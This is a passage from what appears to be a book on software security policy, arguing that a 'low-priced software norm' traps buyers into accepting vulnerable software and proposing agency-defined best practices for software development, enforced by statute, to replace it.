tiously copied itself onto your computer. And, as was widely reported in the media afterward, the 
2005 versions of both XCP and MediaMax contained very significant software vulnerabilities,
so if you put one the 2005 CDs into your computer, you suddenly became more vulnerable to
malware attacks. 
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The Best Loss-Avoider Norm 
The best loss-avoider norm is that, other things being equal, buyers 
demand products that assign the risk of a loss to the party that can most 
cost effectively prevent or remedy the loss—the best loss avoider. In the
case of refrigerators, sellers are liable for defects in the motor while buyers 
are liable for wear and tear on the shelves, and doors. The best loss avoider
is the seller in regard to motor defects because it has more expertise and 
benefits from economies of scale; the buyer, on the other hand, is the best 
loss avoider in regard to damage to the doors and shelves since the buyer
may avoid damage simply by careful use. 
To see that the best loss-avoider norm really is a norm, consider that
allocating risks to the best loss avoider yields a net savings overall. Widely
shared values dictate that, other things being equal, we should realize such 
savings whenever we can. The explanation of why this is a coordination
norm is just like the story for our previous two examples of norms. First 
of all, our society generally believes in realizing the overall savings the 
best cost-avoider norm yields, so the norm is generally followed. Secondly,
even if some buyer does want to purchase a refrigerator where the buyer is
liable for losses from the motor dying early and the manufacturer is liable
for wear and tear on the shelves, that buyer won’t be able to find any such 
refrigerator for sale, so that buyer will instead buy a refrigerator whose 
terms are governed by the best loss-avoider norm. 
Once again, as with the negligent design/manufacture norm and as is
the case for many social norms in general, application of the best loss­
avoider norm requires making fact-specific, context-sensitive judgments.
In this case, the crucial judgments are the trade-offs inherent in the “other 
things being equal” part of the definition of the best loss-avoider norm.
Remember that, under this norm, the best loss avoider bears relevant losses,
other things being equal. “Other things” are not “equal” when imposing 
losses on the best loss avoider unacceptably conflicts with other goals. You
might, for example, think that someone who commits an intentional tort
should bear the losses he or she causes even if the victim happens to be the
best loss avoider. The norm assigns a risk of loss to the best loss avoider
when and only when there are no unacceptable conflicts with other goals. 
A Key Feature: Norm-Implemented Trade-offs 
The three product-risk norms we just examined implement trade-offs
among competing goals. They do so because, as the examples show, the 
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context-sensitive judgments we make in applying product-risk norms 
divide risks between sellers and buyers. Sellers bear the risk of trying to
sell a product that infringes relevant norms (and hence of losing profits)
and must make the investment required to produce norm-conforming 
products. On the other hand, where products are norm conforming, buy­
ers typically bear the risks involved in their use.* The result is that both 
sellers and buyers make trade-offs. Sellers do so because the seller’s invest­
ment of time, effort, and money in creating norm-conforming products
conflicts with the goal of all sellers to minimize their outlay of time, effort,
and money. The trade-off for norm-conforming buyers comes from bear­
ing the risk of using norm-conforming products. Buyers must invest in
precautions to avoid those losses and spend the time, effort, and money to
recover from losses they fail to avoid. The more they invest, the less they
have for other pursuits. 
We now return to the low-priced software norm. Our discussion divides 
into three parts. We first argue that the norm is indeed a coordination
norm. Then we explain why the norms in the three examples do not apply.
Finally, we show why the low-priced software norm is not value optimal. 
THE LOW-PRICED SOFTWARE NORM 
We begin by confirming that low-priced software is in fact a coordina­
tion norm. We have already argued that buyers are unwilling to pay a 
premium for more secure software and that buyers think they ought to
be unwilling to pay a premium, so we have already shown that low-priced 
software is a norm. Now all we need to show is that at least part of the 
explanation of buyers’ demanding low-priced software is that buyers 
think that they ought conditionally to demand low-priced software; then, 
we will have shown that the conditions for the existence of a coordination
norm are fulfilled. 
Risk-unaware and risk-underestimating buyers think they ought to
demand low-priced software at least in part because they do not see the
need for more expensive, more secure software. What about buyers who
accurately estimate the risk? Think back to the arguments earlier in this
chapter about Alice, who correctly estimated the risks of Adobe Reader.
Her case illustrates the general pattern. Imagine a not-so-small minority
of users who correctly estimate the risks of using an early version of a par­
ticular piece of vulnerability-ridden software. Competitive pressures in
* Unless those risks are assigned to the seller by other norms, by law, or by contract. 
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the software market ensure that software developers do not make a later­
to-market, higher priced competing piece of software for that minority. 
The result is that, very soon, the correctly risk-estimating users believe,
rightly, that as long as everybody else is using the software, then their only
options are to use it or do without it and, that, in many cases, using it
is better than doing without it. Thus, as long as everybody else is using 
the vulnerable software, the correctly risk-estimating users feel that they
ought to use the software too. The same “as long as everyone else does” 
qualification applies to risk-unaware and risk-underestimating buyers as
well. This is the vicious or virtuous circle of a demand-unifying coordina­
tion norm. Since there is only one kind of software for sale—in this case,
the low-priced vulnerability-filled kind—everybody thinks that he or she
should buy that kind, rather than forgoing acquiring software altogether. 
The risk-unaware and risk-underestimating buyers do not escape this 
circle, although, under the low-priced software norm, they are getting 
exactly what they want. Imagine, instead, that the correctly risk-estimat­
ing buyers greatly outnumbered the rest and that they demanded secure
software. Mass-market software developers would meet that demand
and ignore demands for insecure software, and risk-unaware and risk-
underestimating buyers would have only two options: go without or buy
the more secure software. Those who found going without unacceptable
would think they ought to buy. 
But how can this argument be right? The problem is that the three 
product-risk norms discussed earlier—fitness, negligent design/manufac­
ture, and best loss-avoider—appear to apply to software in such a way that
they should solve our problem. It appears, on first glance, that those three 
norms require software that is not vulnerability ridden. However, we show
next that the context-sensitive judgments that determine whether these 
norms apply to a particular situation will result in our concluding that
none of these norms are violated by vulnerability-ridden software. 
Fitness, Negligent Design/Manufacture, and Best Loss Avoider 
Take the fitness norm first. How can vulnerability-ridden software be fit? 
To see why it is fit, consider that fitness is not determined by the opinion
of software experts, but rather by contextually sensitive judgments of soft­
ware buyers. Fit means fit for a specific use. This leads to two possible rea­
sons why insecure software is fit. First of all, software might be considered 
fit if it accomplishes its primary purpose reasonably well, independently of
its riskiness. The 2009 version of Adobe Reader may have had numerous
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vulnerabilities, but it did function as a PDF viewer. But let’s set this argu­
ment aside, as a perhaps weak argument. 
The second reason that vulnerability-ridden software can be fit is that 
software violates the fitness norm only if buyers’ shared judgments classify
the software as unfit for their purposes. However, software buyers share no
such judgment. They demand quick-to-market, cheap, vulnerability-ridden 
software. You might rightly object that our buyers who correctly assess the 
risks of using vulnerability-ridden software may regard such software as
unfit. However, even if they do, their judgment is, so to speak, inert. Why?
Because they can perhaps abate their own risk; in any event, they need 
to use the software, and only a vulnerability-ridden version is available. 
(Sometimes the network effect is also a factor.) Correctly risk-assessing 
buyers still think they ought conditionally to conform to the demand low-
priced (and hence vulnerability-ridden) software norm and hence do con­
form to it. That is the norm that governs—not the fitness norm—despite 
any judgment of unfitness that correctly risk-assessing buyers may make. 
Essentially the same points hold for the negligent design/manufacture
norm. It may appear to apply because some vulnerabilities are clearly the 
result of poor design.* Earlier in this chapter we saw that software buffer 
overflows are a good example of poor design or implementation. 
Agreement on such instances of poor design or implementation is not, 
however, sufficient to show that software sales violate the negligent design/ 
manufacture norm. The norm is that sellers do not offer products that,
as a result of negligent design or manufacture, impose an unreasonable
risk of loss on buyers using the product as a reasonable consumer would.
Unreasonableness is determined by shared context-sensitive judgments 
that allocate risks of loss between sellers and buyers. That is, one require­
ment for vulnerability-ridden software to violate the negligent design/ 
manufacture norm would be that buyers would need to make a shared 
common judgment that vulnerability-ridden software imposes unrea­
sonable risks. Software buyers share no such judgment. The argument is
exactly parallel to the argument in the case of the fitness norm. Buyers 
prefer quick-to-market, cheap, vulnerability-ridden software. Some cor­
rectly risk-assessing buyers may regard the risks as unreasonable, but 
it does not matter whether they do or not, because there is certainly no
* 	 Probably, “negligent design” is an even better way to express this than “poor design,” using the 
simple English, nonlegal meaning of negligent—that is, “without sufficient attention.” However,
since we also used “negligence” in its legal sense and in the name of a norm in this chapter, we will
stick with “poor” here to avoid confusion. 
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widespread common judgment that the risks are unreasonable, so the 
negligent design/manufacture norm does not apply. 
The case for thinking software sales violate the best loss-avoider norm
may, at first sight, seem considerably stronger, for, as we will argue shortly,
software developers are the best loss avoider for a wide range of losses
arising from software vulnerabilities. It does not follow, however, that
sales of vulnerability-ridden software violate the best loss-avoider norm.
The best loss-avoider norm is applied in light of shared normative judg­
ments that allocate the burden of avoiding the risk of loss. Thus, to claim
that vulnerability-ridden software violates the best loss-avoider norm is to
claim that shared judgments allocate the burden on software developers 
in a significant range of cases. But the opposite is true. Buyers demand
quick-to-market, cheap, vulnerability-ridden software. It does not matter
whether correctly risk-assessing buyers judge software developers to be 
the best loss avoiders in some cases; they conform to the low-priced soft­
ware norm anyway. 
The Low-Priced Software Norm Is Not Value Optimal 
The low-priced software norm is not value optimal. There is a better justi­
fied alternative. The norm makes buyers bear most of the risk of loss from
unauthorized access resulting from vulnerabilities. The consequence is
that vulnerabilities are a negative externality for software developers. A 
better justified alternative would dramatically reduce that externality by
shifting a good part of the risk onto software developers. There is wide­
spread agreement on this point. 
The agreement may seem surprising. And, truth be told, there is cer­
tainly not, as of this writing, any widespread agreement that risk should
be shifted onto developers of mass-market software. There is widespread 
agreement to all the key elements of the argument that society would be 
better off if software developers spent more resources on reducing vul­
nerabilities. We discussed these points earlier in the chapter, and we will
summarize them and the arguments for each of them here. In short, the 
key points are that the costs of unauthorized access are very high, that a 
significant fraction of those costs arise because of software vulnerabilities 
created by mediocre to downright awful software development practices,
and that there are better software development practices that would some­
what reduce vulnerabilities and that are not too expensive. 
It is difficult to obtain reliable data concerning losses, even in the case
of readily quantifiable data such as the time, effort, and money involved 
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in detecting unauthorized access, diagnosing its effects, and removing 
malware that may have been installed, as well as lost productivity result­
ing from network malfunctions. This difficulty does not, however, prevent 
widespread agreement that the cost of unauthorized access runs in the
billions of dollars a year. While not all of these losses can be traced back 
to software vulnerabilities, vulnerabilities are nonetheless a significant
factor. For example, the SANS Institute’s press release accompanying the 
2010 list of the top 25 most dangerous software errors noted, “These 25 
Software [sic] errors, and their ‘on the cusp cousins’ have been the cause of
nearly every major type of cyber attack, including recent penetrations of
Google, power systems, military systems, and millions of other attacks on
small businesses and home users.”11 
Indeed, the consensus is that the cost of improving software devel­
opment procedures to an extent that would significantly reduce vulner­
abilities would be considerably less than the current aggregate cost of
unauthorized access that would be prevented. Standard general-purpose
undergraduate software engineering textbooks and articles and books
devoted specifically to creating software without security vulnerabilities 
all repeat the statistics on how errors, in general, and security vulnerabili­
ties, in particular, are by far less costly to fix if caught early on, during the 
design of software. A typical number from a book on how to write secure
code is a cost ratio of 60 to 1 for postrelease fixes versus design-time fixes.12 
In other words, software developers are—to a considerable extent—the
best loss avoider with regard to a wide range of vulnerabilities. 
We reinforce our claim that the low-priced software norm is not value 
optimal by considering losses that resist quantification, primarily invasion
of privacy, loss of trust, and anxiety from a sense of increased risk. This 
assessment is a matter of making normative judgments about the desir­
ability of competing policy goals—in particular, the goals served by keep­
ing software costs down versus the value of trust, privacy, and a reduced 
sense of risk. To the extent that you think a reduction in nonquantitative 
losses is worth an increase in software development costs, you have an  
additional reason to regard software developers as the best loss avoiders
over a wide range of cases. 
WE NEED TO CREATE A VALUE OPTIMAL 
NORM—BUT WHAT SHOULD IT BE? 
We need to replace the low-priced software norm with a value optimal one. 

If there were a value optimal norm governing software vulnerabilities, it
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would implement acceptable trade-offs to which we gave free and informed 
consent. Living with the current suboptimal norm means we are trapped 
in trade-offs that violate our values. 
However, it is far from easy to say what the norm should be. The dif­
ficulty is the one we noted earlier when discussing negligence. There are 
important goals correlated with software development—especially pro­
moting software innovation. The more time, effort, and money developers 
invest in reducing vulnerabilities in either old software or new-to-market
software, the less they have left to pursue these goals, particularly innova­
tion. The less that developers invest, the more they create vulnerabilities,
and the more that buyers must invest in dealing with the increased risk of
loss from unauthorized access. The more buyers invest, the less they have
for all other goals important to them. The norm we want is one that gives 
us the optimal trade-off among the competing goals. How do we tell when 
a trade-off is optimal? The question is controversial and complex. Thus,
we know that we should have a new norm, but we do not yet know what it
should be. We propose a solution in the next chapter. 
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Creating Best Practices 
INTRODUCTION
 
The task we have set ourselves may seem impossible. We need to create a 
value optimal norm that reduces software vulnerabilities while also imple­
menting a trade-off among competing goals that is at least as well justified 
as any alternative. But we do not yet agree on what trade-offs are best justi­
fied. So how can we create the needed norm? We show how in this chapter.
The norm will be the best practices software norm: Buyers demand soft­
ware developed following best practices. We’ll frequently omit the “buyers 
demand” part for brevity’s sake. This norm, like very many of the norms 
we consider in this book, will be a coordination norm that unifies buyers’
demand (as always, meaning demand in the sense of willingness and abil­
ity to pay). One immediate difficulty is that “[b]est practices has become an
overused, underdeveloped catchphrase employed by industries and profes­
sions to signal an often unsubstantiated superiority in a given field.”1 The
first step then is to explain what we mean by best practices. 
BEST PRACTICES DEFINED 
Best practices are practices aimed at achieving certain goals—call them 
the practice goals. We care about the practices because we care about the 
goals. Thus, our first requirement for being a best practice: 
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1. There is widespread agreement that it is desirable that the practice
goals be achieved. 
A good example is the United Kingdom’s Electrical Safety Council’s 
best practices for residential electrical systems.2 The Council offers a series
of Best Practice Guides for use by electrical contractors and their custom­
ers. The goal is adequate safety, a goal widely regarded as highly desirable.* 
Agreement on practice goals is not, by itself, enough to define best 
practices. We have not yet said what makes any given practice a best way 
to achieve the practice goals. This requires adding two more conditions 
to our definition. During the discussion, keep in mind that even though
there is agreement about the desirability of the practice goals, achieving 
those goals will come at a cost. We will once again be making trade-offs
of the sort we discussed in Chapters 1 and 6. One reason trade-offs are 
inevitable is that, in almost all cases, there is no point at which a practice
goal is completely met. We could almost always fulfill a practice goal even
more fully by expending more resources. However, the more resources we
invest, the fewer we have left over for other goals. Conforming to electri­
cal wiring best practices, for example, requires various inspections and 
the installation of hardware upgrades. As usual for this sort of analysis, 
the expenditures for the inspections and upgrades conflict with society’s 
general goal of minimizing expenses, all other things being equal. Also, 
as usual, we can find conflicts between greater expenditures on these best 
practices and specific narrower goals. In the case of electrical wiring, fol­
lowing the best practices increases the cost of maintaining buildings, and 
the increased cost entails trade-offs between safety and other goals, such 
as, for example, increasing the availability of low-cost rentals. 
We state the two additional conditions we need to define best practices 
and then discuss each in turn: 
2. There is widespread agreement that the trade-offs implemented by
following the practices are at least as well justified as any alternative. 
3. There is widespread agreement that the practices are a sufficiently 
reliable, sufficiently detailed means of meeting the practice goals. 
* 	 In addition to adequate safety of electrical systems, additional examples of practice goals
include safe automobiles, high-quality legal representation, low infant mortality, and low rates
of food spoilage. 
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To begin our discussion of condition (2), note that it captures one thing 
that makes practices best: The trade-offs they require are at least as well
justified as those required by any alternative practice. The practices are best
in the sense that we cannot get a better trade-off by switching to different 
practices. Moreover, the notion of best practice we want requires not just
that there be one best way—or perhaps several different, all equally good 
ways—to achieve the practice goal, but additionally that there be common 
agreement about the best way to achieve the practice goal. In short, condi­
tion (2) means that best practices are a recognized standard. When a busi­
ness asks, “What practices should we adopt?” best practices provide an
uncontroversial, consensus answer, and they thus provide a basis for find­
ing fault with businesses that do not adopt them. Condition (2) explains 
why best practices are often characterized as “best in class.” A company 
adopts best practices by “measuring…functions, processes, activities, 
products, or services against those of [its] competitors and improving… 
[to match] the best-in-class.”3 To be best in class is to be at least as well  
justified as any alternative. 
Conditions 1 and 2 are not quite enough. If we stopped there, then 
this would count as a best practice: “Install electrical wiring, outlets, and 
switches in a way that makes a trade-off between safety and other goals in
a way that is at least as well justified as any alternative method of instal­
lation.” The problem is that this does not provide any practical guidance. 
Compare the detailed instructions promulgated by the Electrical Safety
Council. In the case of older electrical wiring, for example, it requires that
electricians determine whether there is at least 1 MΩ resistance between 
hot and ground and between neutral and ground in any ungrounded elec­
trical circuits; if not, the electricians must disconnect the equipment on
the circuit, or install 30 mA RCD protection. (RCD is the British term for 
what Americans know as ground fault circuit interrupter, or GFCI.)* 
Best practices provide practical guidance. The details allow us to make 
meaningful choices among alternative practices. The specificity of the 
Electrical Safety Council practices, for example, allows us to compare  
them to alternatives that require different combinations of cost and pro­
tection against electrical shock. Hence, our condition (3) for best practices 
requires the practices to be “sufficiently reliable, sufficiently detailed.” 
* 	 As the example illustrates, best practices are a moving target. The March 2010 version of the 
Electrical Safety Council’s best practices guide on home wiring gives very different guidance from 
what would have been included in a 1960 version of such a guide. 
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Practices are “sufficiently detailed” when they are detailed enough to
give a competent professional the practical guidance he or she needs and 
to allow meaningful comparison with other practices. Note that we do  
not require that practices be the most reliable way to achieve the practice
goals, just “sufficiently reliable.” Following practices requires an invest­
ment of time, money, and effort, and often the more reliable the practice
is as a means to achieving the practice goal, the more it costs to follow it. 
We may sacrifice some reliability to keep costs down when that produces
a better justified practice overall (because it saves money, time, and effort 
for other goals). 
On this understanding of best practices, the best practices software 
norm will clearly be value optimal. Best practices make best justified 
trade-offs among competing goals, so any best practices norm will be 
value optimal. The problem we face is not ensuring value optimality. We
get that as soon as the norm is in place. The problem is to make sure that
the best practices to which the norm refers actually exist. Right now, soft­
ware “is usually produced using error-prone tools and methods, including 
inadequate testing.”4 Such practices can hardly qualify as best. If best prac­
tices do not exist, then our already difficult task may really be impossible. 
Not only would we have to figure out how to create a best practices norm, 
we would also have to invent the best practices and make sure that follow­
ing them really did reduce software vulnerabilities. Fortunately, best prac­
tices for software development do exist, and following them does reduce 
software vulnerabilities. 
BEST PRACTICES FOR SOFTWARE DEVELOPMENT 
We begin with an example: the buffer overflow vulnerability we described in
the last chapter. Recall that the way for a software developer to prevent this
vulnerability is to check that the size of a buffer is larger than the size of an
input before storing that input in the buffer. To fail to build in this check is to
create a buffer overflow vulnerability, which can sometimes be exploited to
take over a computer and make it run hackers’ programs. “Check input size
before storing it in a buffer” meets our conditions for being a best practice.
There is widespread agreement on the following three points: 
1. Following the practice would achieve the practice goal of reducing 
the number of software vulnerabilities. (As we noted in the last chap­
ter, buffer overflow vulnerabilities are third on the SANS Institute’s 
2011 list of the top 25 most dangerous software errors.) 
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2. The trade-offs implemented by following the practice are at least as
well justified as any alternative: The time, effort, and money needed 
to ensure that the size of the input to be stored does not exceed the
capacity of the buffer are far less than the losses thereby avoided. 
3. This practice is a sufficiently reliable, sufficiently detailed means of
meeting the practice goal. In short, everyone in the business agrees
that a reliable way to avoid buffer overflow vulnerabilities is to ensure
that the size of the input to be stored does not exceed the capacity of
the buffer. 
There are many such examples. As we discussed in the previous chapter,
a vulnerability is just a particular type of software defect, and a great deal
is known about how to reduce the rate of software defects significantly 
(even though it is not currently known how to drive that rate to zero). We
concluded that discussion: It is common wisdom among experts in software 
development that adopting techniques and procedures of the sort we have
been discussing leads to lower defect rates, and various studies from over the 
years back up this common wisdom. 
Thus, there are software development practices that meet the condi­
tions for being best practices. There is widespread agreement that reduc­
ing the number of vulnerabilities is a desirable goal and that following 
the practices is a sufficiently detailed, reliable way to achieve that goal. 
There is also—to some extent—widespread agreement that the trade-offs
implemented by following the practices are at least as well justified as any 
alternative. The “to some extent” qualification is critical. 
“To Some Extent”: An Important Qualification 
We need more than current best practices provide. We need best practices 
that, taken together, implement a comprehensive value optimal trade-off. 
Reducing vulnerabilities is one side of the trade-off; the other consists of
competing goals. As we noted in the last chapter, the more we invest in
avoiding vulnerabilities, the less we have for other important goals. We
want best practices that give us a comprehensive value optimal trade-off 
among all the competing goals. Call such practices comprehensive best 
practices. There is no consensus on how to make the value optimal trade­
offs required for the existence of comprehensive best practices. 
This means that the task of creating a best practices software norm
includes the task of defining comprehensive best practices. We turn to that
task now. 







   





CREATING THE BEST PRACTICES SOFTWARE NORM 
Any adequate process for creating a best practices software norm must 
meet three requirements. We introduce and motivate these requirements
and then offer a norm-creation process that meets them: 
1(a). The norm-creation process must define best practices that imple­
ment a comprehensive value optimal trade-off between reducing 
software vulnerabilities and other competing goals 
1(b). It must ensure that software developers adopt these practices. 
The rationale for (1b) is that, as we argued in the last chapter, buyers are
trapped in the low-cost software norm. We want to release them from that
trap by making software developers offer only secure software. 
To introduce the next requirement, note that best practices are a mov­
ing target in virtually any field; they change as economic and technologi­
cal conditions change. In software development, extremely rapid change
is the rule. Thus, the ability to update best practices for software develop­
ment rapidly and easily is a necessity. Hence, our second requirement: 
2. The process for defining best practices for software development
must be flexible enough to allow suitable rapid updating. 
The third requirement has a somewhat different character: 
3. The process for defining best practices for software development
must allow those affected by its definition of best practices to have
an adequate voice in determining the definition. 
The rationale is a political one. Governmental decision-making pro­
cesses should approximate the ideal of adequate representation of the gov­
erned in the process. (Views about how closely we currently approximate
this ideal vary greatly, of course.) Even in nongovernmental market pro­
cesses, we insist on a sufficiently close approximation to perfect competi­
tion in order to ensure that consumers’ choices signify interests to which
sellers respond. Where the approximation falls significantly short, we
insist that the government regulate market-dominant businesses in order 
to ensure that consumers’ interests are adequately served. Any definition 
of best practices allocates risks and resources in ways that are sufficiently 
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important that we should require and facilitate adequate representation in
the decision of those affected. 
Recall that in Chapter 6 we claimed that some form of legal regulation
is required if we are to reduce software vulnerabilities significantly. The
argument for the necessity of legal regulation is that we consumers are
trapped in the low-priced software norm, which ensures that the profit
maximizing strategy for software developers is to offer cheap, early-to­
market, vulnerability-ridden software. This norm is a self-perpetuating 
coordination norm that holds consumers securely in its grip. Without 
legal intervention of some form, the norm is highly likely to persist and,
with it, the market conditions it creates. We wish to emphasize that our
goal is to create a new norm and that the legal intervention is a mere means 
to that end. Once the norm is in place, legal regulation should recede into
the background as buyers and software developers conform to the new 
norm on their own initiative (which they will do in a sufficiently competi­
tive market). 
We emphasize this point because, even at its best, governmental regu­
lation is costly, and compliance is far less than full. At its all-too-often 
worst, regulation has a track record of misunderstandings and mistakes
that have hindered progress and increased costs without yielding any 
appreciable good. We reiterate the remarks about politics we made in the 
introduction. We assume a reasonably well working political organization:
a reasonably well informed and educated citizenry and adequately repre­
sentative political processes that lead to timely, workable, reasonably well
justified policies. We do not assume this because we think it is unprob­
lematic (far from it). We assume it because, to the extent that it is not true,
the primary problem is not unauthorized access; rather, it is to establish 
political processes that will allow us to solve a variety of problems—unau­
thorized access being just one among them. 
There are three possible sources of relevant legal regulation: the com­
mon law doctrines we examined earlier (strict liability, negligence, and 
liability for product defects), executive orders, and legislation. 
The common law doctrines. Earlier we considered the common law doc­
trines as complete solutions in their own right; now we want to know if we
can use them as just one part of a norm-generation process. The answer is
“no”—for essentially the same reasons as before. Start with strict liability.
It does not fulfill even the first of the preceding three requirements. If
we impose strict liability, we simply make software developers liable for 
harm caused by vulnerabilities. We do nothing to define comprehensive
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best practices. A similar problem plagues the remaining two common-law
options. As we argued in Chapter 6, they will, for the most part, perpetu­
ate current industry standards for software development; thus, they will
not yield a definition of comprehensive best practices. 
Executive orders. Executive orders are orders issued by the presi­
dent. They are used for a variety of purposes. The 1999 Kosovo War was 
waged under an order by President Clinton, and an order by President 
Roosevelt—the most infamous use of an executive order—authorized the 
internment of Japanese-Americans in World War II. The limits on what
the president may legitimately order are unclear. The consensus is, how­
ever, that it would be improper to use an executive order to impose new 
requirements on private business. 
Legislation. Legislation easily meets our first criterion for norm cre­
ation. Lawmakers can just write an appropriate definition into the
legislation after all. Of course, we may face great practical difficulties iden­
tifying—and agreeing on—best justified trade-offs. Legislation also fulfills 
our third requirement—at least in theory. Legislators are representatives
charged with adequately voicing the concerns of their constituents; we may
certainly question how well current practice has fulfilled the demands of
legitimate representative democracy, but let us put such concerns aside. 
The second requirement of rapid updating appears highly problematic,
however. Definitions written into statutes are not quite written in stone,
but the amendment process is slow to begin and slow to complete. Detailed 
statutory definition of technological requirements is generally regarded as
inadvisable given the rapid pace of technological change. 
Fortunately, we can have our cake and eat it too, at least to some extent. 
A statute can delegate the authority to define best practices to a more nim­
ble, faster moving entity—a government agency. A government agency
is a governmental organization responsible for some specific function. 
Congress has, for example, delegated the authority to regulate items and 
activities that affect public health to the Food and Drug Administration
(FDA), which now sets standards and rules for biopharmaceuticals, blood 
transfusions, cosmetics, devices that emit electromagnetic radiation,
dietary supplements, food safety, medical devices, medications, tobacco 
products, vaccines, and veterinary products. There are over 1,300 federal 
agencies at the moment. Agencies are generally much faster than Congress
in issuing and revising standards and rules. Agencies also have access to
experts in the field, so they can know of the need to revise rules when they
become dated. In the best practices statute we are proposing, we could 
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delegate the authority to specify best practices to an agency (already exist­
ing or created by the statute), although this is not the only option. 
We could also delegate to a private standards-setting organization like 
the American National Standards Institute (ANSI). One potential benefit
of delegating to a private organization is a faster definition and revision
process; private organizations often move more quickly than governmen­
tal ones. One likely downside is the loss of consumer input and thus a 
possible violation of our third criterion for the process of creating a best 
practices software norm. Agency rule making requires public comment.
Standards-setting organizations can be—and typically are—profoundly 
influenced by the industries they seek to regulate; the industries have the 
incentive and the funding to lobby effectively for the type of definition 
they want. Consumers and consumer organizations may be neither as well
funded nor as focused on the concerns of a single industry. The result may 
be a violation of the first criterion of a best justified trade-off. While we
will not choose between these two options, we will describe the federal 
agency option in more detail. We do so in order to illustrate a process of
definition in more detail and because we suspect the agency option will
turn out to be the better of the two, given the likelihood that standards-
setting organizations will too greatly favor industry interests.* 
Defining Best Practices 
It is common for statutes to define broad policy goals and then delegate 
the task of creating detailed regulations—think of them as sets of instruc­
tions—for implementing the goals. Or, if you happen yourself to be a 
software developer, you may think of the statutes as being analogous to
a combination of the requirements and the design, and the detailed regu­
lations as being analogous to the code itself, with the lawmakers in the 
role of software architects and the agency in the role of coder. We suggest 
the same approach for defining best practices for developing mass-market 
software. A statute would define the broad policy goals. These would 
include reducing software vulnerabilities as well as other key competing 
goals, such as promoting software innovation. The statute would desig­
nate an agency (existing or created by the statute) to promulgate regula­
tions that defined best practices in a way sufficiently detailed and specific 
* 	 Agencies face a similar “industry capture” problem, as we note later, but we think the problem is
somewhat less severe. 
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that the definition adequately answered the “how much should we invest?”
question for software developers. 
The process of promulgating agency regulations is agency rule-making.
Typically, there are four steps. 
Advance notice: The public is informed in advance of proposed rules. 
Public comment: The public can comment on the proposed rules and 
provide additional data to the agency; the public can access the 
rulemaking record and examine the data and analysis behind a pro­
posed rule. 
Agency response: The agency analyzes and responds to the public’s  
comments; the agency creates a permanent record of its analysis and 
the process. 
Judicial review: The agency’s actions can be reviewed by a judge or oth­
ers to ensure that the correct process was followed. 
Ideally, the process yields results at least as well justified as any alterna­
tive. Actual practice at best approximates the ideal. Indeed, agency rule-
making has been intensively studied, and a number of problems have been 
identified and analyzed.5 For us, regulatory capture in particular is a  
concern. Capture occurs when commercial interests have such a powerful
influence on the formulation of the standards that the standards fall far 
short of genuine best practices and instead advance commercial or special 
interests. The Federal Communications Commission is a prime example of
agency capture, as Jeff Chester of the Center for Digital Democracy details 
in Digital Destiny.6 It is certainly a concern that capture has occurred in
the agency charged with regulating communications (including some
aspects of the Internet), but, as we emphasized in Chapter 1, our model 
assumes reasonably well functioning political processes. 
In spite of the issue of regulatory capture, we nonetheless think that
agency rule-making may be the best available way to define best practices 
for software development. Indeed, as we mentioned earlier, the problem of
capture is even worse for private standards-setting organizations. 
Statutory and Regulatory Options for Defining Best Practices 
It is essential that any statute not tie developers down to one set of choices.
This would inhibit desirable innovation in software development as sellers 
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seek a competitive edge from processes that are better, faster, and cheaper.
We may include specific requirements, such as, “You must adopt such­
and-such a method of avoiding buffer overflow vulnerabilities,” but we
may also be less specific, as in “You must adopt a reliable method of avoid­
ing buffer overflow vulnerabilities.” In the latter case, we may offer a list 
of methods certified as acceptable, and we may also allow developers to
choose another method, in which case they would have the burden of
showing that the method was acceptable. They would be required to dem­
onstrate acceptability on demand by the agency administering the statute,
or in litigation as part of their defense. We may also wish to allow devel­
opers to submit their practices to the agency for approval as acceptable as
a way to preempt an agency demand for a demonstration of acceptability 
and as a way to discourage litigation. 
Whatever requirements we impose, it is essential that their enforce­
ment be sufficient to ensure that the expected cost of violating the statute
is greater than the expected gain from evading the statutory require­
ments by offering insecure software. Otherwise, developers may not com­
ply. One enforcement option is to allow private parties to sue developers 
to recover damages they sustain from using software that was developed 
without following best practices. The drawback is that the damages, while 
large in the aggregate, may be small per plaintiff. In addition, if the statute 
requires showing that defects in the software caused the damage, this
may be quite difficult to establish. Perhaps it was the way the software was 
installed on the network that was the problem, or perhaps it was some
other developer’s software. The consequence may be that successful law­
suits are few and far between and hence that the expected losses from
noncompliance are too small. One alternative is to rely on fines imposed 
by the agency administering the statute. This too is not without its down­
side. Enforcement would most likely require field investigators to look for 
violations, and that is hardly without its costs. In addition, the investiga­
tors may misinterpret what they find and may be inconsistent, excessively 
strict, or too lax. 
Assume that—by one method or another—we obtain a satisfactory
definition of best practices and that we find a sufficiently effective method 
of enforcement. The question then is how we get from the definition to a 
norm. The answer is easy—if we assume a perfectly competitive software 
market. We start with the “frictionless” world of perfect competition and 
then show how to adapt our answer to the often highly imperfect world of
real markets. 
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Norm Creation in Ideal Markets 
As we have discussed, we believe that today sellers are profitably selling 
low-priced, vulnerability-ridden software. Now we temporarily assume
a perfectly competitive market for software and show how, with this
assumption, the mere promulgation of the definition of best practices will
create a best practices software norm under which buyers will no longer 
tolerate today’s vulnerability-ridden software. (Our temporary assump­
tions are not intended to be realistic. Later in this chapter, we will explain 
how to approximate perfect competition and reach more or less the same
result in the real world.) 
In a perfectly competitive market, all sellers offer products or services
of the same kind, so, strictly speaking, we should distinguish markets for 
different types of software—operating systems, HTML editors, word pro­
cessors, and so on. However, the argument is the same no matter what
type of software is involved, so it is convenient just to understand “soft­
ware” to mean “this or that particular type of software.” A perfectly com­
petitive market has five more requirements: profit-motive driven sellers,
lack of market power by both buyers and sellers, no barriers to entry or
exit, zero transaction costs, and perfect information. 
We begin with the perfect information requirement. We assume that
the result of promulgating the definition of best practices is that all buyers 
know whether a seller offers software developed following best practices,
and we assume that buyers realize that best practices software makes an
optimal trade-off between reducing vulnerabilities and other goals. This 
knowledge is a significant addition to what buyers knew before the prom­
ulgation of the definition. Before, buyers—some at least—may have real­
ized that various software programs were developed through this or that
process, but they could not know whether that process constituted a best 
practice. Comprehensive best practices simply did not exist. 
Next, consider the zero transactions cost assumption. The assumption
ensures that buyers can costlessly switch to sellers who offer secure soft­
ware. Since buyers prefer secure software and know whether any given 
seller offers such software, buyers will purchase from those that do—if  
there are any such sellers. And there will be. We assume—in a further 
specification of the perfect information requirement—that sellers know
that buyers prefer best practices software and hence know that the profit-
maximizing strategy is to offer such software. Profit-motive driven sellers 
will do so. The cost of gearing up to develop and sell such software is no
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barrier, because the no barriers to entry/exit assumption means that doing 
so is costless. Also, the lack of market power assumption guarantees that
no other sellers can prevent a seller from selling best practices software. 
